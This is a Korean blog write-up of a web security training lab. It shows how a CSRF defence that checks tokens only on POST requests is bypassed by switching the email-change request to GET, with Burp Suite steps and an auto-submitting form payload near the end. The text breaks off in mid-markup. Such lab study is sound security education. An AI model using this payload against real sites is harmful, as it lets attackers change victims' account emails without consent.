&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/1t72M/dJMcabkIPUg/JvrLyILzfgTJ0r2zXgBKTK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/1t72M/dJMcabkIPUg/JvrLyILzfgTJ0r2zXgBKTK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/1t72M/dJMcabkIPUg/JvrLyILzfgTJ0r2zXgBKTK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F1t72M%2FdJMcabkIPUg%2FJvrLyILzfgTJ0r2zXgBKTK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;490&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;My&amp;nbsp;account&amp;nbsp;페이지에&amp;nbsp;접속하기&amp;nbsp;위해서&amp;nbsp;로그인을&amp;nbsp;해야&amp;nbsp;하며&amp;nbsp;문제에서&amp;nbsp;제공된&amp;nbsp;계정으로&amp;nbsp;로그인합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/I1I1V/dJMcacYaHjB/e9eUxYXiuyvY8ByiREp5KK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/I1I1V/dJMcacYaHjB/e9eUxYXiuyvY8ByiREp5KK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/I1I1V/dJMcacYaHjB/e9eUxYXiuyvY8ByiREp5KK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FI1I1V%2FdJMcacYaHjB%2Fe9eUxYXiuyvY8ByiREp5KK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;490&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;이메일&amp;nbsp;변경을&amp;nbsp;위해&amp;nbsp;변경할&amp;nbsp;이메일&amp;nbsp;주소를&amp;nbsp;입력&amp;nbsp;후&amp;nbsp;Update&amp;nbsp;email을&amp;nbsp;클릭합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/pkvVo/dJMcaaMPXAm/uJKD1HTlzodKwu47eB2PK0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/pkvVo/dJMcaaMPXAm/uJKD1HTlzodKwu47eB2PK0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pkvVo/dJMcaaMPXAm/uJKD1HTlzodKwu47eB2PK0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FpkvVo%2FdJMcaaMPXAm%2FuJKD1HTlzodKwu47eB2PK0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;490&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;이메일이&amp;nbsp;변경된&amp;nbsp;것을&amp;nbsp;확인합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c5P5gc/dJMcahSDLYB/SPpHGzkGYopPTxSPgt4D60/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c5P5gc/dJMcahSDLYB/SPpHGzkGYopPTxSPgt4D60/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c5P5gc/dJMcahSDLYB/SPpHGzkGYopPTxSPgt4D60/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc5P5gc%2FdJMcahSDLYB%2FSPpHGzkGYopPTxSPgt4D60%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;490&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;이때&amp;nbsp;이메일을&amp;nbsp;변경할&amp;nbsp;때&amp;nbsp;요청을&amp;nbsp;취득해&amp;nbsp;보면&amp;nbsp;변경할&amp;nbsp;이메일&amp;nbsp;주소와&amp;nbsp;csrf&amp;nbsp;토큰이&amp;nbsp;같이&amp;nbsp;전송되고&amp;nbsp;있다는&amp;nbsp;것을&amp;nbsp;알&amp;nbsp;수&amp;nbsp;있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1126&quot; data-origin-height=&quot;584&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/XfJzv/dJMcaiKNnEV/Q9Dsm3y2mrkYYFcZdSIJ0k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/XfJzv/dJMcaiKNnEV/Q9Dsm3y2mrkYYFcZdSIJ0k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/XfJzv/dJMcaiKNnEV/Q9Dsm3y2mrkYYFcZdSIJ0k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FXfJzv%2FdJMcaiKNnEV%2FQ9Dsm3y2mrkYYFcZdSIJ0k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;441&quot; data-origin-width=&quot;1126&quot; data-origin-height=&quot;584&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;이메일&amp;nbsp;변경할&amp;nbsp;때의&amp;nbsp;요청을&amp;nbsp;Burp&amp;nbsp;Suite&amp;nbsp;Repeater&amp;nbsp;기능에&amp;nbsp;세팅합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1131&quot; data-origin-height=&quot;547&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cRgqfi/dJMcadQe7Or/AkkTJTGzhdJKVkX94E2qLk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cRgqfi/dJMcadQe7Or/AkkTJTGzhdJKVkX94E2qLk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cRgqfi/dJMcadQe7Or/AkkTJTGzhdJKVkX94E2qLk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcRgqfi%2FdJMcadQe7Or%2FAkkTJTGzhdJKVkX94E2qLk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;411&quot; data-origin-width=&quot;1131&quot; data-origin-height=&quot;547&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;email,&amp;nbsp;csrf&amp;nbsp;파라미터&amp;nbsp;중&amp;nbsp;csrf&amp;nbsp;파라미터&amp;nbsp;값을&amp;nbsp;임의의&amp;nbsp;값으로&amp;nbsp;하면&amp;nbsp;유효하지&amp;nbsp;않은&amp;nbsp;CSRF&amp;nbsp;토큰이라는&amp;nbsp;응답을,&amp;nbsp;제거하고&amp;nbsp;요청을&amp;nbsp;보내면&amp;nbsp;csrf&amp;nbsp;파라미터가&amp;nbsp;없다는&amp;nbsp;응답을&amp;nbsp;받게&amp;nbsp;됩니다. &lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-csrf 파라미터 값을 임의의 값으로 변경하고 요청을 전송했을 때&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1131&quot; data-origin-height=&quot;548&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/UTTmO/dJMcacDWsHA/opviM69VTVZSs4LyntRX8K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/UTTmO/dJMcacDWsHA/opviM69VTVZSs4LyntRX8K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/UTTmO/dJMcacDWsHA/opviM69VTVZSs4LyntRX8K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FUTTmO%2FdJMcacDWsHA%2FopviM69VTVZSs4LyntRX8K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;412&quot; data-origin-width=&quot;1131&quot; data-origin-height=&quot;548&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-csrf 파라미터를 제거하고 요청을 전송했을 때&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1134&quot; data-origin-height=&quot;549&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bywIVg/dJMcai44PZ6/BKuyTdoyLEsQf5jJItYrek/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bywIVg/dJMcai44PZ6/BKuyTdoyLEsQf5jJItYrek/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bywIVg/dJMcai44PZ6/BKuyTdoyLEsQf5jJItYrek/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbywIVg%2FdJMcai44PZ6%2FBKuyTdoyLEsQf5jJItYrek%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;412&quot; data-origin-width=&quot;1134&quot; data-origin-height=&quot;549&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;실제로&amp;nbsp;My&amp;nbsp;account&amp;nbsp;페이지를&amp;nbsp;보면&amp;nbsp;이메일이&amp;nbsp;바뀌지&amp;nbsp;않고&amp;nbsp;있는&amp;nbsp;것을&amp;nbsp;볼&amp;nbsp;수&amp;nbsp;있습니다.&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/caibYL/dJMcai44P0b/0SKrsnfGE7mOyhK4TqEAM1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/caibYL/dJMcai44P0b/0SKrsnfGE7mOyhK4TqEAM1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/caibYL/dJMcai44P0b/0SKrsnfGE7mOyhK4TqEAM1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcaibYL%2FdJMcai44P0b%2F0SKrsnfGE7mOyhK4TqEAM1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;490&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;다시&amp;nbsp;이메일&amp;nbsp;변경&amp;nbsp;요청으로&amp;nbsp;돌아와서&amp;nbsp;Change&amp;nbsp;request&amp;nbsp;method&amp;nbsp;기능을&amp;nbsp;사용합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1127&quot; data-origin-height=&quot;553&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/zUivh/dJMcab52iyH/A6btJJhzzx3ybgTx2UkLK1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/zUivh/dJMcab52iyH/A6btJJhzzx3ybgTx2UkLK1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/zUivh/dJMcab52iyH/A6btJJhzzx3ybgTx2UkLK1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FzUivh%2FdJMcab52iyH%2FA6btJJhzzx3ybgTx2UkLK1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;417&quot; data-origin-width=&quot;1127&quot; data-origin-height=&quot;553&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Change&amp;nbsp;request&amp;nbsp;method를&amp;nbsp;통해&amp;nbsp;기존&amp;nbsp;POST&amp;nbsp;메서드를&amp;nbsp;GET&amp;nbsp;메서드로&amp;nbsp;변경한&amp;nbsp;뒤&amp;nbsp;요청을&amp;nbsp;전송하면&amp;nbsp;302&amp;nbsp;Found&amp;nbsp;결과를&amp;nbsp;받는&amp;nbsp;것을&amp;nbsp;볼&amp;nbsp;수&amp;nbsp;있습니다.&amp;nbsp;302&amp;nbsp;응답과&amp;nbsp;함께&amp;nbsp;Location이&amp;nbsp;My&amp;nbsp;account인&amp;nbsp;것으로&amp;nbsp;봤을&amp;nbsp;때&amp;nbsp;요청이&amp;nbsp;정상적으로&amp;nbsp;처리되었다는&amp;nbsp;것을&amp;nbsp;알&amp;nbsp;수&amp;nbsp;있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1130&quot; data-origin-height=&quot;552&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wLSEy/dJMcaiqwKrs/9c1gIgVDmSou567jJQBy50/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wLSEy/dJMcaiqwKrs/9c1gIgVDmSou567jJQBy50/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wLSEy/dJMcaiqwKrs/9c1gIgVDmSou567jJQBy50/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FwLSEy%2FdJMcaiqwKrs%2F9c1gIgVDmSou567jJQBy50%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;415&quot; data-origin-width=&quot;1130&quot; data-origin-height=&quot;552&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;이어서&amp;nbsp;My&amp;nbsp;account&amp;nbsp;페이지에&amp;nbsp;접속하여&amp;nbsp;새로고침을&amp;nbsp;해보면&amp;nbsp;이메일이&amp;nbsp;변경된&amp;nbsp;것을&amp;nbsp;볼&amp;nbsp;수&amp;nbsp;있습니다.&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/djWeHd/dJMcadpbf81/SAOeaMVw2FQjbisZ6LXPDK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/djWeHd/dJMcadpbf81/SAOeaMVw2FQjbisZ6LXPDK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/djWeHd/dJMcadpbf81/SAOeaMVw2FQjbisZ6LXPDK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdjWeHd%2FdJMcadpbf81%2FSAOeaMVw2FQjbisZ6LXPDK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;490&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;&lt;b&gt;[설명]&lt;br /&gt;&lt;/b&gt; &lt;br /&gt;기존의&amp;nbsp;이메일&amp;nbsp;변경&amp;nbsp;요청을&amp;nbsp;전송할&amp;nbsp;때는&amp;nbsp;POST&amp;nbsp;메서드&amp;nbsp;방식이었고&amp;nbsp;CSRF&amp;nbsp;토큰&amp;nbsp;값이&amp;nbsp;유효하지&amp;nbsp;않거나&amp;nbsp;없으면&amp;nbsp;이메일&amp;nbsp;변경이&amp;nbsp;불가능했습니다.&amp;nbsp;하지만&amp;nbsp;CSRF&amp;nbsp;공격에&amp;nbsp;대한&amp;nbsp;방어가&amp;nbsp;POST&amp;nbsp;메서드&amp;nbsp;방식일&amp;nbsp;때만&amp;nbsp;적용되고&amp;nbsp;있었고&amp;nbsp;GET&amp;nbsp;메서드&amp;nbsp;방식은&amp;nbsp;방어가&amp;nbsp;적용이&amp;nbsp;되지&amp;nbsp;않고&amp;nbsp;있었습니다.&amp;nbsp;그렇기&amp;nbsp;때문에&amp;nbsp;GET&amp;nbsp;메서드로&amp;nbsp;이메일&amp;nbsp;변경을&amp;nbsp;요청하면&amp;nbsp;CSRF&amp;nbsp;토큰&amp;nbsp;값&amp;nbsp;검사를&amp;nbsp;하지&amp;nbsp;않아&amp;nbsp;CSRF&amp;nbsp;방어를&amp;nbsp;우회하여&amp;nbsp;이메일&amp;nbsp;변경이&amp;nbsp;가능했던&amp;nbsp;것입니다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Go&amp;nbsp;to&amp;nbsp;exploit&amp;nbsp;server를&amp;nbsp;클릭합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bCAxu0/dJMcajiHG3W/bpLaJ19HuaSzEQEoVdrIR0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bCAxu0/dJMcajiHG3W/bpLaJ19HuaSzEQEoVdrIR0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bCAxu0/dJMcajiHG3W/bpLaJ19HuaSzEQEoVdrIR0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbCAxu0%2FdJMcajiHG3W%2FbpLaJ19HuaSzEQEoVdrIR0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;490&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;접속한&amp;nbsp;뒤&amp;nbsp;Body&amp;nbsp;부분에&amp;nbsp;페이로드를&amp;nbsp;삽입하고&amp;nbsp;Store을&amp;nbsp;클릭합니다. &lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nYgwV/dJMcaiqwKr7/kVFtcruYmkk5XhJOdkUBVK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nYgwV/dJMcaiqwKr7/kVFtcruYmkk5XhJOdkUBVK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nYgwV/dJMcaiqwKr7/kVFtcruYmkk5XhJOdkUBVK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnYgwV%2FdJMcaiqwKr7%2FkVFtcruYmkk5XhJOdkUBVK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;490&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;&lt;b&gt;[페이로드]&lt;br /&gt;&lt;/b&gt; &lt;br /&gt;&amp;lt;form&amp;nbsp;id=&quot;myForm&quot;&amp;nbsp;method=&quot;GET&quot;&amp;nbsp;action=&quot;https://{lab-id}.web-security-academy.net/my-account&quot;&amp;gt; &lt;br /&gt;&amp;lt;input&amp;nbsp;type=&quot;hidden&quot;&amp;nbsp;name=&quot;email&quot;&amp;nbsp;value=&quot;test@attack.com&quot;&amp;gt; &lt;br /&gt;&amp;lt;/form&amp;gt; &lt;br /&gt;&lt;br /&gt;&amp;lt;script&amp;gt; &lt;br /&gt;document.getElementById('myForm').submit(); &lt;br /&gt;&amp;lt;/script&amp;gt; &lt;br /&gt;&lt;br /&gt;&lt;b&gt;[설명]&lt;br /&gt;&lt;/b&gt; &lt;br /&gt;해당&amp;nbsp;페이로드의&amp;nbsp;경우&amp;nbsp;form&amp;nbsp;태그와&amp;nbsp;script&amp;nbsp;태그를&amp;nbsp;이용하여&amp;nbsp;다른&amp;nbsp;사용자가&amp;nbsp;페이로드가&amp;nbsp;삽입된&amp;nbsp;페이지에&amp;nbsp;접근했을&amp;nbsp;때&amp;nbsp;자동으로&amp;nbsp;자신의&amp;nbsp;이메일&amp;nbsp;주소를&amp;nbsp;변경하도록&amp;nbsp;하는&amp;nbsp;페이로드입니다.&amp;nbsp; &lt;br /&gt;&lt;br 